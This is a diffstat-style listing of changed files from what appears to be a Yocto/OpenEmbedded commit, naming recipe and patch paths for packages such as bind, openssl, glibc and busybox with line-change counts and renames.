-rw-r--r--meta/recipes-connectivity/avahi/files/local-ping.patch153
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.23/0001-avoid-start-failure-with-bind-user.patch (renamed from meta/recipes-connectivity/bind/bind-9.16.7/0001-avoid-start-failure-with-bind-user.patch)2
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.23/0001-named-lwresd-V-and-start-log-hide-build-options.patch37
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.23/bind-ensure-searching-for-json-headers-searches-sysr.patch (renamed from meta/recipes-connectivity/bind/bind-9.16.7/bind-ensure-searching-for-json-headers-searches-sysr.patch)0
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.23/bind9 (renamed from meta/recipes-connectivity/bind/bind-9.16.7/bind9)0
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.23/conf.patch (renamed from meta/recipes-connectivity/bind/bind-9.16.7/conf.patch)2
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.23/generate-rndc-key.sh (renamed from meta/recipes-connectivity/bind/bind-9.16.7/generate-rndc-key.sh)0
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.23/init.d-add-support-for-read-only-rootfs.patch (renamed from meta/recipes-connectivity/bind/bind-9.16.7/init.d-add-support-for-read-only-rootfs.patch)0
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.23/make-etc-initd-bind-stop-work.patch (renamed from meta/recipes-connectivity/bind/bind-9.16.7/make-etc-initd-bind-stop-work.patch)0
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.23/named.service (renamed from meta/recipes-connectivity/bind/bind-9.16.7/named.service)0
-rw-r--r--meta/recipes-connectivity/bind/bind-9.16.7/0001-named-lwresd-V-and-start-log-hide-build-options.patch35
-rw-r--r--meta/recipes-connectivity/bind/bind_9.16.23.bb129
-rw-r--r--meta/recipes-connectivity/bind/bind_9.16.7.bb123
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5.inc31
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5_5.55.bb68
-rw-r--r--meta/recipes-connectivity/bluez5/bluez5_5.62.bb70
-rw-r--r--meta/recipes-connectivity/connman/connman-conf.bb8
-rw-r--r--meta/recipes-connectivity/connman/connman-gnome_0.7.bb6
-rw-r--r--meta/recipes-connectivity/connman/connman.inc96
-rw-r--r--meta/recipes-connectivity/connman/connman/0001-connman.service-stop-systemd-networkd-when-using-con.patch29
-rw-r--r--meta/recipes-connectivity/connman/connman/0002-resolve-musl-does-not-implement-res_ninit.patch10
-rw-r--r--meta/recipes-connectivity/connman/connman_1.38.bb17
-rw-r--r--meta/recipes-connectivity/connman/connman_1.40.bb15
-rw-r--r--meta/recipes-connectivity/dhcpcd/dhcpcd_9.3.2.bb57
-rw-r--r--meta/recipes-connectivity/dhcpcd/dhcpcd_9.4.1.bb57
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/0001-rcp-fix-to-work-with-large-files.patch31
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/fix-disable-ipv6.patch24
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0001-printf-parse-pull-in-features.h-for-__GLIBC__.patch16
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/inetutils-1.8-0003-wchar.patch17
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/inetutils-1.9-PATH_PROCNET_DEV.patch21
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/inetutils-only-check-pam_appl.h-when-pam-enabled.patch19
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils/version.patch17
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils_1.9.4.bb215
-rw-r--r--meta/recipes-connectivity/inetutils/inetutils_2.2.bb211
-rw-r--r--meta/recipes-connectivity/iproute2/iproute2.inc40
-rw-r--r--meta/recipes-connectivity/iproute2/iproute2_5.15.0.bb11
-rw-r--r--meta/recipes-connectivity/iproute2/iproute2_5.9.0.bb11
-rw-r--r--meta/recipes-connectivity/iw/iw_5.16.bb31
-rw-r--r--meta/recipes-connectivity/iw/iw_5.9.bb31
-rw-r--r--meta/recipes-connectivity/kea/files/0001-keactrl.in-create-var-lib-kea-and-var-run-kea-folder.patch39
-rw-r--r--meta/recipes-connectivity/kea/files/0001-src-lib-log-logger_unittest_support.cc-do-not-write-.patch28
-rw-r--r--meta/recipes-connectivity/kea/files/fix-multilib-conflict.patch55
-rw-r--r--meta/recipes-connectivity/kea/files/fix_pid_keactrl.patch27
-rw-r--r--meta/recipes-connectivity/kea/kea_1.7.10.bb73
-rw-r--r--meta/recipes-connectivity/kea/kea_2.0.0.bb77
-rw-r--r--meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.14.1.bb38
-rw-r--r--meta/recipes-connectivity/libnss-mdns/libnss-mdns_0.15.1.bb39
-rw-r--r--meta/recipes-connectivity/libpcap/libpcap_1.10.1.bb42
-rw-r--r--meta/recipes-connectivity/libpcap/libpcap_1.9.1.bb44
-rw-r--r--meta/recipes-connectivity/libuv/libuv_1.40.0.bb19
-rw-r--r--meta/recipes-connectivity/libuv/libuv_1.42.0.bb20
-rw-r--r--meta/recipes-connectivity/mobile-broadband-provider-info/mobile-broadband-provider-info_git.bb7
-rw-r--r--meta/recipes-connectivity/neard/neard_0.16.bb10
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils/0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch2
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils_2.5.2.bb145
-rw-r--r--meta/recipes-connectivity/nfs-utils/nfs-utils_2.5.4.bb145
-rw-r--r--meta/recipes-connectivity/ofono/ofono/0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch28
-rw-r--r--meta/recipes-connectivity/ofono/ofono_1.31.bb50
-rw-r--r--meta/recipes-connectivity/ofono/ofono_1.33.bb55
-rw-r--r--meta/recipes-connectivity/openssh/openssh/sshd_check_keys1
-rw-r--r--meta/recipes-connectivity/openssh/openssh_8.4p1.bb179
-rw-r--r--meta/recipes-connectivity/openssh/openssh_8.8p1.bb185
-rw-r--r--meta/recipes-connectivity/openssl/openssl/0001-Configure-do-not-tweak-mips-cflags.patch36
-rw-r--r--meta/recipes-connectivity/openssl/openssl/0001-Fix-EVP_PKEY_CTX_get_rsa_pss_saltlen-no.patch108
-rw-r--r--meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch30
-rw-r--r--meta/recipes-connectivity/openssl/openssl/0001-skip-test_symbol_presence.patch46
-rw-r--r--meta/recipes-connectivity/openssl/openssl/armv8-32bit.patch29
-rw-r--r--meta/recipes-connectivity/openssl/openssl/reproducible.patch32
-rw-r--r--meta/recipes-connectivity/openssl/openssl/run-ptest2
-rw-r--r--meta/recipes-connectivity/openssl/openssl_1.1.1h.bb216
-rw-r--r--meta/recipes-connectivity/openssl/openssl_3.0.0.bb249
-rw-r--r--meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb5
-rw-r--r--meta/recipes-connectivity/ppp/ppp/0001-Fix-build-with-musl.patch124
-rw-r--r--meta/recipes-connectivity/ppp/ppp/0001-ppp-Remove-unneeded-include.patch43
-rw-r--r--meta/recipes-connectivity/ppp/ppp/0001-ppp-fix-build-against-5.15-headers.patch36
-rw-r--r--meta/recipes-connectivity/ppp/ppp/0001-pppd-Fix-bounds-check-in-EAP-code.patch47
-rw-r--r--meta/recipes-connectivity/ppp/ppp/copts.patch21
-rw-r--r--meta/recipes-connectivity/ppp/ppp/fix-CVE-2015-3310.patch30
-rw-r--r--meta/recipes-connectivity/ppp/ppp/makefile-remove-hard-usr-reference.patch34
-rw-r--r--meta/recipes-connectivity/ppp/ppp/makefile.patch115
-rw-r--r--meta/recipes-connectivity/ppp/ppp/makefix.patch40
-rw-r--r--meta/recipes-connectivity/ppp/ppp/pppd-resolv-varrun.patch45
-rw-r--r--meta/recipes-connectivity/ppp/ppp_2.4.8.bb103
-rw-r--r--meta/recipes-connectivity/ppp/ppp_2.4.9.bb99
-rw-r--r--meta/recipes-connectivity/resolvconf/resolvconf_1.83.bb68
-rw-r--r--meta/recipes-connectivity/resolvconf/resolvconf_1.87.bb68
-rw-r--r--meta/recipes-connectivity/socat/socat_1.7.3.4.bb53
-rw-r--r--meta/recipes-connectivity/socat/socat_1.7.4.2.bb52
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/CVE-2021-0326.patch45
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/CVE-2021-27803.patch58
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/CVE-2021-30004.patch123
-rw-r--r--meta/recipes-connectivity/wpa-supplicant/wpa-supplicant_2.9.bb26
-rw-r--r--meta/recipes-core/base-files/base-files_3.0.14.bb20
-rw-r--r--meta/recipes-core/base-passwd/base-passwd_3.5.29.bb11
-rw-r--r--meta/recipes-core/busybox/busybox-inittab_1.32.0.bb35
-rw-r--r--meta/recipes-core/busybox/busybox-inittab_1.34.1.bb85
-rw-r--r--meta/recipes-core/busybox/busybox.inc93
-rw-r--r--meta/recipes-core/busybox/busybox/0001-Use-CC-when-linking-instead-of-LD-and-use-CFLAGS-and.patch114
-rw-r--r--meta/recipes-core/busybox/busybox/0001-hwclock-make-glibc-2.31-compatible.patch83
-rw-r--r--meta/recipes-core/busybox/busybox/0001-mktemp-add-tmpdir-option.patch81
-rw-r--r--meta/recipes-core/busybox/busybox/0001-testsuite-check-uudecode-before-using-it.patch6
-rw-r--r--meta/recipes-core/busybox/busybox/busybox-udhcpc-no_deconfig.patch102
-rw-r--r--meta/recipes-core/busybox/busybox/defconfig141
-rw-r--r--meta/recipes-core/busybox/busybox/longopts.cfg15
-rw-r--r--meta/recipes-core/busybox/busybox/mdev.cfg2
-rw-r--r--meta/recipes-core/busybox/busybox/mount-via-label.cfg2
-rw-r--r--meta/recipes-core/busybox/busybox_1.32.0.bb53
-rw-r--r--meta/recipes-core/busybox/busybox_1.34.1.bb53
-rwxr-xr-xmeta/recipes-core/busybox/files/mdev56
-rw-r--r--meta/recipes-core/busybox/files/rcS.default31
-rw-r--r--meta/recipes-core/coreutils/coreutils/0001-ls-restore-8.31-behavior-on-removed-directories.patch99
-rw-r--r--meta/recipes-core/coreutils/coreutils/disable-ls-output-quoting.patch49
-rw-r--r--meta/recipes-core/coreutils/coreutils/e8b56ebd536e82b15542a00c888109471936bfda.patch93
-rw-r--r--meta/recipes-core/coreutils/coreutils/fix-selinux-flask.patch7
-rw-r--r--meta/recipes-core/coreutils/coreutils_8.32.bb201
-rw-r--r--meta/recipes-core/coreutils/coreutils_9.0.bb209
-rw-r--r--meta/recipes-core/dbus-wait/dbus-wait_git.bb3
-rw-r--r--meta/recipes-core/dbus/dbus-glib_0.110.bb39
-rw-r--r--meta/recipes-core/dbus/dbus-glib_0.112.bb39
-rw-r--r--meta/recipes-core/dbus/dbus-test_1.12.20.bb8
-rw-r--r--meta/recipes-core/dbus/dbus.inc11
-rw-r--r--meta/recipes-core/dbus/dbus/stop_using_selinux_set_mapping.patch148
-rw-r--r--meta/recipes-core/dbus/dbus_1.12.20.bb50
-rw-r--r--meta/recipes-core/dropbear/dropbear.inc28
-rw-r--r--meta/recipes-core/ell/ell_0.33.bb21
-rw-r--r--meta/recipes-core/ell/ell_0.46.bb23
-rw-r--r--meta/recipes-core/expat/expat/0001-Add-output-of-tests-result.patch83
-rw-r--r--meta/recipes-core/expat/expat/run-ptest4
-rw-r--r--meta/recipes-core/expat/expat_2.2.10.bb27
-rw-r--r--meta/recipes-core/expat/expat_2.4.1.bb32
-rw-r--r--meta/recipes-core/fts/fts_1.2.7.bb3
-rw-r--r--meta/recipes-core/gettext/gettext-0.21/0001-libtextstyle-fix-builds-with-automake-1.16.4-and-new.patch29
-rw-r--r--meta/recipes-core/gettext/gettext_0.21.bb44
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch14
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-codegen.py-bump-timeout-to-100-seconds.patch26
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/Enable-more-tests-while-cross-compiling.patch26
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch10
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0_2.66.2.bb49
-rw-r--r--meta/recipes-core/glib-2.0/glib-2.0_2.70.2.bb54
-rw-r--r--meta/recipes-core/glib-2.0/glib.inc62
-rw-r--r--meta/recipes-core/glib-networking/glib-networking_2.66.0.bb36
-rw-r--r--meta/recipes-core/glib-networking/glib-networking_2.70.1.bb38
-rw-r--r--meta/recipes-core/glibc/cross-localedef-native_2.32.bb50
-rw-r--r--meta/recipes-core/glibc/cross-localedef-native_2.34.bb54
-rw-r--r--meta/recipes-core/glibc/glibc-collateral.inc4
-rw-r--r--meta/recipes-core/glibc/glibc-common.inc10
-rw-r--r--meta/recipes-core/glibc/glibc-ld.inc2
-rw-r--r--meta/recipes-core/glibc/glibc-locale.inc30
-rw-r--r--meta/recipes-core/glibc/glibc-locale_2.34.bb (renamed from meta/recipes-core/glibc/glibc-locale_2.32.bb)0
-rw-r--r--meta/recipes-core/glibc/glibc-mtrace.inc4
-rw-r--r--meta/recipes-core/glibc/glibc-mtrace_2.34.bb (renamed from meta/recipes-core/glibc/glibc-mtrace_2.32.bb)0
-rw-r--r--meta/recipes-core/glibc/glibc-package.inc144
-rw-r--r--meta/recipes-core/glibc/glibc-scripts.inc4
-rw-r--r--meta/recipes-core/glibc/glibc-scripts_2.34.bb (renamed from meta/recipes-core/glibc/glibc-scripts_2.32.bb)0
-rw-r--r--meta/recipes-core/glibc/glibc-tests.inc32
-rw-r--r--meta/recipes-core/glibc/glibc-tests_2.34.bb115
-rw-r--r--meta/recipes-core/glibc/glibc-testsuite_2.32.bb63
-rw-r--r--meta/recipes-core/glibc/glibc-testsuite_2.34.bb35
-rw-r--r--meta/recipes-core/glibc/glibc-version.inc8
-rw-r--r--meta/recipes-core/glibc/glibc.inc15
-rw-r--r--meta/recipes-core/glibc/glibc/0001-CVE-2021-38604.patch43
-rw-r--r--meta/recipes-core/glibc/glibc/0001-Make-shell-interpreter-overridable-in-tzselect.ksh.patch50
-rw-r--r--meta/recipes-core/glibc/glibc/0001-fix-create-thread-failed-in-unprivileged-process-BZ-.patch79
-rw-r--r--meta/recipes-core/glibc/glibc/0001-localedef-Add-hardlink-resolver-from-util-linux.patch7
-rw-r--r--meta/recipes-core/glibc/glibc/0002-CVE-2021-38604.patch150
-rw-r--r--meta/recipes-core/glibc/glibc/0002-localedef-fix-ups-hardlink-to-make-it-compile.patch7
-rw-r--r--meta/recipes-core/glibc/glibc/0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch22
-rw-r--r--meta/recipes-core/glibc/glibc/0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch12
-rw-r--r--meta/recipes-core/glibc/glibc/0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch90
-rw-r--r--meta/recipes-core/glibc/glibc/0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch13
-rw-r--r--meta/recipes-core/glibc/glibc/0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch15
-rw-r--r--meta/recipes-core/glibc/glibc/0008-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch1584
-rw-r--r--meta/recipes-core/glibc/glibc/0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch32
-rw-r--r--meta/recipes-core/glibc/glibc/0009-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch208
-rw-r--r--meta/recipes-core/glibc/glibc/0010-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch387
-rw-r--r--meta/recipes-core/glibc/glibc/0011-Quote-from-bug-1443-which-explains-what-the-patch-do.patch62
-rw-r--r--meta/recipes-core/glibc/glibc/0012-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch36
-rw-r--r--meta/recipes-core/glibc/glibc/0013-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch61
-rw-r--r--meta/recipes-core/glibc/glibc/0014-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch42
-rw-r--r--meta/recipes-core/glibc/glibc/0015-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch39
-rw-r--r--meta/recipes-core/glibc/glibc/0015-yes-within-the-path-sets-wrong-config-variables.patch263
-rw-r--r--meta/recipes-core/glibc/glibc/0016-timezone-re-written-tzselect-as-posix-sh.patch45
-rw-r--r--meta/recipes-core/glibc/glibc/0016-yes-within-the-path-sets-wrong-config-variables.patch260
-rw-r--r--meta/recipes-core/glibc/glibc/0017-Remove-bash-dependency-for-nscd-init-script.patch75
-rw-r--r--meta/recipes-core/glibc/glibc/0018-Remove-bash-dependency-for-nscd-init-script.patch72
-rw-r--r--meta/recipes-core/glibc/glibc/0018-eglibc-Cross-building-and-testing-instructions.patch619
-rw-r--r--meta/recipes-core/glibc/glibc/0019-eglibc-Cross-building-and-testing-instructions.patch616
-rw-r--r--meta/recipes-core/glibc/glibc/0019-eglibc-Help-bootstrap-cross-toolchain.patch100
-rw-r--r--meta/recipes-core/glibc/glibc/0020-eglibc-Help-bootstrap-cross-toolchain.patch97
-rw-r--r--meta/recipes-core/glibc/glibc/0020-eglibc-Resolve-__fpscr_values-on-SH4.patch56
-rw-r--r--meta/recipes-core/glibc/glibc/0021-eglibc-Forward-port-cross-locale-generation-support.patch563
-rw-r--r--meta/recipes-core/glibc/glibc/0021-eglibc-Resolve-__fpscr_values-on-SH4.patch53
-rw-r--r--meta/recipes-core/glibc/glibc/0022-Define-DUMMY_LOCALE_T-if-not-defined.patch32
-rw-r--r--meta/recipes-core/glibc/glibc/0022-eglibc-Forward-port-cross-locale-generation-support.patch560
-rw-r--r--meta/recipes-core/glibc/glibc/0023-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch84
-rw-r--r--meta/recipes-core/glibc/glibc/0024-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch56
-rw-r--r--meta/recipes-core/glibc/glibc/0024-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch80
-rw-r--r--meta/recipes-core/glibc/glibc/0025-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch53
-rw-r--r--meta/recipes-core/glibc/glibc/0025-intl-Emit-no-lines-in-bison-generated-files.patch34
-rw-r--r--meta/recipes-core/glibc/glibc/0026-inject-file-assembly-directives.patch240
-rw-r--r--meta/recipes-core/glibc/glibc/0026-intl-Emit-no-lines-in-bison-generated-files.patch31
-rw-r--r--meta/recipes-core/glibc/glibc/0027-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch9
-rw-r--r--meta/recipes-core/glibc/glibc/0028-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch10
-rw-r--r--meta/recipes-core/glibc/glibc/0029-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch21
-rw-r--r--meta/recipes-core/glibc/glibc/0030-powerpc-Do-not-ask-compiler-for-finding-arch.patch7
-rw-r--r--meta/recipes-core/glibc/glibc/CVE-2021-43396.patch184
-rw-r--r--meta/recipes-core/glibc/glibc/check-test-wrapper9
-rwxr-xr-xmeta/recipes-core/glibc/glibc/run-ptest37
-rw-r--r--meta/recipes-core/glibc/glibc_2.32.bb115
-rw-r--r--meta/recipes-core/glibc/glibc_2.34.bb128
-rw-r--r--meta/recipes-core/glibc/ldconfig-native-2.12.1/add-riscv-support.patch79
-rw-r--r--meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch2
-rw-r--r--meta/recipes-core/glibc/ldconfig-native-2.12.1/no-aux-cache.patch19
-rw-r--r--meta/recipes-core/glibc/ldconfig-native_2.12.1.bb2
-rw-r--r--meta/recipes-core/ifupdown/files/0001-ifupdown-skip-wrong-test-case.patch32
-rw-r--r--meta/recipes-core/ifupdown/files/tweak-ptest-script.patch15
-rw-r--r--meta/recipes-core/ifupdown/ifupdown_0.8.35.bb55
-rw-r--r--meta/recipes-core/ifupdown/ifupdown_0.8.36.bb57
-rw-r--r--meta/recipes-core/images/build-appliance-image_15.0.0.bb20
-rw-r--r--meta/recipes-core/images/core-image-minimal.bb2
-rw-r--r--meta/recipes-core/images/core-image-ptest-all.bb25
-rw-r--r--meta/recipes-core/images/core-image-ptest-fast.bb24
-rw-r--r--meta/recipes-core/images/core-image-tiny-initramfs.bb2
-rw-r--r--meta/recipes-core/init-ifupdown/init-ifupdown_1.0.bb8
-rw-r--r--meta/recipes-core/initrdscripts/files/init-install-efi.sh5
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-boot_1.0.bb2
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-framework/rootfs19
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-framework/setup-live2
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-framework_1.0.bb58
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-boot-tiny_1.0.bb4
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-boot_1.0.bb4
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-install-efi-testfs_1.0.bb4
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-install-efi_1.0.bb6
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-install-testfs_1.0.bb4
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb6
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb6
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb10
-rw-r--r--meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb6
-rw-r--r--meta/recipes-core/initscripts/init-system-helpers_1.58.bb41
-rw-r--r--meta/recipes-core/initscripts/init-system-helpers_1.60.bb41
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/checkroot.sh2
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/mountall.sh22
-rwxr-xr-xmeta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh10
-rw-r--r--meta/recipes-core/initscripts/initscripts_1.0.bb29
-rw-r--r--meta/recipes-core/kbd/kbd_2.3.0.bb38
-rw-r--r--meta/recipes-core/kbd/kbd_2.4.0.bb46
-rw-r--r--meta/recipes-core/libcgroup/libcgroup/CVE-2018-14348.patch37
-rw-r--r--meta/recipes-core/libcgroup/libcgroup/module.patch36
-rw-r--r--meta/recipes-core/libcgroup/libcgroup/musl-decls-compat.patch187
-rw-r--r--meta/recipes-core/libcgroup/libcgroup_0.41.bb46
-rw-r--r--meta/recipes-core/libcgroup/libcgroup_2.0.bb35
-rw-r--r--meta/recipes-core/libxcrypt/files/fix_cflags_handling.patch33
-rw-r--r--meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.17.bb18
-rw-r--r--meta/recipes-core/libxcrypt/libxcrypt-compat_4.4.26.bb18
-rw-r--r--meta/recipes-core/libxcrypt/libxcrypt.inc12
-rw-r--r--meta/recipes-core/libxcrypt/libxcrypt_4.4.26.bb (renamed from meta/recipes-core/libxcrypt/libxcrypt_4.4.17.bb)0
-rw-r--r--meta/recipes-core/libxml/libxml2/0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch34
-rw-r--r--meta/recipes-core/libxml/libxml2/CVE-2019-20388.patch37
-rw-r--r--meta/recipes-core/libxml/libxml2/CVE-2020-24977.patch41
-rw-r--r--meta/recipes-core/libxml/libxml2/CVE-2020-7595.patch36
-rw-r--r--meta/recipes-core/libxml/libxml2/fix-python39.patch94
-rw-r--r--meta/recipes-core/libxml/libxml2/libxml-m4-use-pkgconfig.patch39
-rw-r--r--meta/recipes-core/libxml/libxml2/remove-fuzz-from-ptests.patch44
-rw-r--r--meta/recipes-core/libxml/libxml2/runtest.patch45
-rw-r--r--meta/recipes-core/libxml/libxml2_2.9.10.bb114
-rw-r--r--meta/recipes-core/libxml/libxml2_2.9.12.bb109
-rw-r--r--meta/recipes-core/meta/buildtools-extended-tarball.bb13
-rw-r--r--meta/recipes-core/meta/buildtools-tarball.bb20
-rw-r--r--meta/recipes-core/meta/cve-update-db-native.bb26
-rw-r--r--meta/recipes-core/meta/dummy-sdk-package.inc10
-rw-r--r--meta/recipes-core/meta/meta-environment-extsdk.bb2
-rw-r--r--meta/recipes-core/meta/meta-environment.bb9
-rw-r--r--meta/recipes-core/meta/meta-go-toolchain.bb4
-rw-r--r--meta/recipes-core/meta/meta-ide-support.bb8
-rw-r--r--meta/recipes-core/meta/nativesdk-buildtools-perl-dummy.bb6
-rw-r--r--meta/recipes-core/meta/signing-keys.bb6
-rw-r--r--meta/recipes-core/meta/testexport-tarball.bb3
-rw-r--r--meta/recipes-core/meta/uninative-tarball.bb2
-rw-r--r--meta/recipes-core/meta/wic-tools.bb9
-rw-r--r--meta/recipes-core/musl/bsd-headers.bb4
-rw-r--r--meta/recipes-core/musl/gcompat_git.bb54
-rw-r--r--meta/recipes-core/musl/libssp-nonshared.bb17
-rw-r--r--meta/recipes-core/musl/libssp-nonshared/ssp-local.c45
-rw-r--r--meta/recipes-core/musl/libssp-nonshared/stack_chk.c40
-rw-r--r--meta/recipes-core/musl/libucontext/0001-meson-Add-option-to-pass-cpu.patch49
-rw-r--r--meta/recipes-core/musl/libucontext_git.bb26
-rw-r--r--meta/recipes-core/musl/musl-obstack.bb2
-rw-r--r--meta/recipes-core/musl/musl-utils.bb4
-rw-r--r--meta/recipes-core/musl/musl.inc8
-rw-r--r--meta/recipes-core/musl/musl/0001-crt-Add-.file-directive.patch300
-rw-r--r--meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch8
-rw-r--r--meta/recipes-core/musl/musl_git.bb35
-rw-r--r--meta/recipes-core/ncurses/files/0002-configure-reproducible.patch26
-rw-r--r--meta/recipes-core/ncurses/files/0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch30
-rw-r--r--meta/recipes-core/ncurses/ncurses.inc53
-rw-r--r--meta/recipes-core/ncurses/ncurses_6.2.bb13
-rw-r--r--meta/recipes-core/ncurses/ncurses_6.3.bb14
-rw-r--r--meta/recipes-core/netbase/netbase_6.1.bb22
-rw-r--r--meta/recipes-core/netbase/netbase_6.3.bb23
-rw-r--r--meta/recipes-core/newlib/libgloss_3.3.0.bb33
-rw-r--r--meta/recipes-core/newlib/libgloss_4.1.0.bb33
-rw-r--r--meta/recipes-core/newlib/newlib.inc12
-rw-r--r--meta/recipes-core/newlib/newlib_3.3.0.bb20
-rw-r--r--meta/recipes-core/newlib/newlib_4.1.0.bb20
-rw-r--r--meta/recipes-core/os-release/os-release.bb8
-rw-r--r--meta/recipes-core/ovmf/ovmf-shell-image.bb3
-rw-r--r--meta/recipes-core/ovmf/ovmf/0001-Fix-VLA-parameter-warning.patch51
-rw-r--r--meta/recipes-core/ovmf/ovmf/0001-ovmf-update-path-to-native-BaseTools.patch7
-rw-r--r--meta/recipes-core/ovmf/ovmf/0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch11
-rw-r--r--meta/recipes-core/ovmf/ovmf/0003-ovmf-Update-to-latest.patch45
-rw-r--r--meta/recipes-core/ovmf/ovmf/0003-ovmf-enable-long-path-file.patch28
-rw-r--r--meta/recipes-core/ovmf/ovmf/0004-ovmf-Update-to-latest.patch46
-rw-r--r--meta/recipes-core/ovmf/ovmf/0005-debug-prefix-map.patch104
-rw-r--r--meta/recipes-core/ovmf/ovmf/0006-reproducible.patch180
-rw-r--r--meta/recipes-core/ovmf/ovmf_git.bb63
-rw-r--r--meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb9
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-base.bb145
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-boot.bb4
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-buildessential.bb5
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-eclipse-debug.bb2
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-nfs.bb9
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-sdk.bb28
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb2
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb2
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb4
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb6
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb52
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb24
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb2
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb2
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb2
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-rust-cross-canadian.bb18
-rw-r--r--meta/recipes-core/packagegroups/packagegroup-self-hosted.bb20
-rwxr-xr-xmeta/recipes-core/psplash/files/psplash-init4
-rw-r--r--meta/recipes-core/psplash/psplash_git.bb31
-rw-r--r--meta/recipes-core/readline/readline-8.1/configure-fix.patch (renamed from meta/recipes-core/readline/readline-8.0/configure-fix.patch)0
-rw-r--r--meta/recipes-core/readline/readline-8.1/norpath.patch (renamed from meta/recipes-core/readline/readline-8.0/norpath.patch)0
